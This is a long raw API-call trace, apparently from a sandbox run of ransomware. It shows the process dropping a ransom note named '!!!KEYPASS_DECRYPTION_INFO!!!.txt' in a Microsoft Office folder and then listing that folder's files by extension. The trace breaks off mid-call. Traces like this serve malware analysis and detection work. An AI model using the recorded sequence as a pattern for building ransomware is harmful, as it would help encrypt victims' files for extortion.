[0264.779] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0264.779] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0264.779] GetLastError () returned 0x3f0 [0264.779] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0264.779] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0264.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb94 [0264.806] GetFileType (hFile=0xb94) returned 0x1 [0264.806] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0264.806] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0264.806] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0264.806] WriteFile (in: hFile=0xb94, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0264.807] WriteFile (in: hFile=0xb94, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0264.807] CloseHandle (hObject=0xb94) returned 1 [0264.807] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x4e2bd48 [0264.807] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.808] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.808] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0264.808] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.808] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\ACCSBAR.POC") returned=".POC" [0264.808] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.808] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\ACCTBOX.POC") returned=".POC" [0264.808] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.808] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\AD.DPV") returned=".DPV" [0264.809] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.809] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\AD.XML") returned=".XML" [0264.809] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.809] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\AD98.POC") returned=".POC" [0264.809] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.809] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\ADRESPEL.POC") returned=".POC" [0264.809] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.809] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\AIR98.POC") returned=".POC" [0264.809] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.809] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\AWARDHM.POC") returned=".POC" [0264.809] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.809] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BAN98.POC") returned=".POC" [0264.809] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.809] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BANNER.DPV") returned=".DPV" [0264.809] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.809] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BANNER.XML") returned=".XML" [0264.809] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.809] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BDRTKFUL.POC") returned=".POC" [0264.809] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.809] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BIZCARD.DPV") returned=".DPV" [0264.809] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.809] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BIZCARD.XML") returned=".XML" [0264.809] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.809] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BIZFORM.DPV") returned=".DPV" [0264.809] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.809] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BIZFORM.XML") returned=".XML" [0264.809] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.810] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BORDERBB.DPV") returned=".DPV" [0264.810] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.810] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BORDERBB.POC") returned=".POC" [0264.810] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.810] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BRCH98SP.POC") returned=".POC" [0264.810] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.810] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BRCHUR11.POC") returned=".POC" [0264.810] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.810] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BRCHUR98.POC") returned=".POC" [0264.810] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.810] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BROCHURE.DPV") returned=".DPV" [0264.810] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.810] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BROCHURE.XML") returned=".XML" [0264.810] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.810] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BS2BARB.POC") returned=".POC" [0264.810] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.810] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BS4BOXES.POC") returned=".POC" [0264.810] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.810] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BS53BOXS.POC") returned=".POC" [0264.810] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.810] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BZCARD11.POC") returned=".POC" [0264.810] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.810] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BZCARDHM.POC") returned=".POC" [0264.810] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.810] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BZCD98SP.POC") returned=".POC" [0264.810] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.810] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BZCRD98.POC") returned=".POC" [0264.810] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.811] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CALENDAR.DPV") returned=".DPV" [0264.811] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.811] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CALENDAR.XML") returned=".XML" [0264.811] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.812] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CALHM.POC") returned=".POC" [0264.812] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.812] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CALNDR98.POC") returned=".POC" [0264.812] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.812] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CALSO11.POC") returned=".POC" [0264.812] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.812] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CALSO98.POC") returned=".POC" [0264.812] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.812] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CATALOG.DPV") returned=".DPV" [0264.812] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.812] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CATALOG.XML") returned=".XML" [0264.812] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.812] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CATWIZ.POC") returned=".POC" [0264.812] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.812] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CATWIZ11.POC") returned=".POC" [0264.812] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.812] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CERT.DPV") returned=".DPV" [0264.812] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.812] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CERT.XML") returned=".XML" [0264.812] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.812] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CERT98.POC") returned=".POC" [0264.812] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.812] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CERT98SP.POC") returned=".POC" [0264.813] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.813] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CHECKER.POC") returned=".POC" [0264.813] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.813] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CONTACTINFOBB.DPV") returned=".DPV" [0264.813] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.813] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CONTACTINFOBB.POC") returned=".POC" [0264.813] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.813] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\COUPON.POC") returned=".POC" [0264.813] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.813] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGACCBAR.DPV") returned=".DPV" [0264.813] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.813] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGACCBAR.XML") returned=".XML" [0264.813] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.813] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGACCBOX.DPV") returned=".DPV" [0264.813] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.813] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGACCBOX.XML") returned=".XML" [0264.813] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.813] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGAD.DPV") returned=".DPV" [0264.813] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.813] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGAD.XML") returned=".XML" [0264.813] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.813] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGATNGET.DPV") returned=".DPV" [0264.813] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.813] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGATNGET.XML") returned=".XML" [0264.813] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.814] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGBARBLL.DPV") returned=".DPV" [0264.814] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.814] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGBARBLL.XML") returned=".XML" [0264.814] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.814] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGBORDER.DPV") returned=".DPV" [0264.814] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.814] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGBORDER.XML") returned=".XML" [0264.814] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.814] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGBOXES.DPV") returned=".DPV" [0264.814] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.814] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGBOXES.XML") returned=".XML" [0264.814] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.814] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGCAL.DPV") returned=".DPV" [0264.814] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.814] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGCAL.XML") returned=".XML" [0264.814] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.814] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGCHKBRD.DPV") returned=".DPV" [0264.814] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.814] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGCHKBRD.XML") returned=".XML" [0264.814] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.816] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGCINFO.XML") returned=".XML" [0264.816] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.816] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGCOUPON.DPV") returned=".DPV" [0264.816] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.816] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGCOUPON.XML") returned=".XML" [0264.816] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.816] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGDOTS.DPV") returned=".DPV" [0264.816] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.816] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGDOTS.XML") returned=".XML" [0264.816] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.816] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGHEADING.XML") returned=".XML" [0264.816] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.816] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGLINACC.DPV") returned=".DPV" [0264.816] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.816] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGLINACC.XML") returned=".XML" [0264.816] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.816] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGLOGO.DPV") returned=".DPV" [0264.816] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.816] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGLOGO.XML") returned=".XML" [0264.816] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.816] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGMAIN.XML") returned=".XML" [0264.816] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.816] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGMARQ.DPV") returned=".DPV" [0264.816] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.816] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGMARQ.XML") returned=".XML" [0264.816] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.816] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGMASTHD.DPV") returned=".DPV" [0264.817] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.817] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGNAVBAR.DPV") returned=".DPV" [0264.817] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.817] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGNAVBAR.XML") returned=".XML" [0264.817] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.817] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGPICCAP.DPV") returned=".DPV" [0264.817] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.817] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGPICCAP.XML") returned=".XML" [0264.817] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.817] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGPQUOT.DPV") returned=".DPV" [0264.817] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.817] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGPQUOT.XML") returned=".XML" [0264.817] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.817] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGPUNCT.DPV") returned=".DPV" [0264.817] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.817] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGPUNCT.XML") returned=".XML" [0264.817] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.817] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGREPFRM.DPV") returned=".DPV" [0264.817] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.817] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGREPFRM.XML") returned=".XML" [0264.817] FindNextFileW (in: 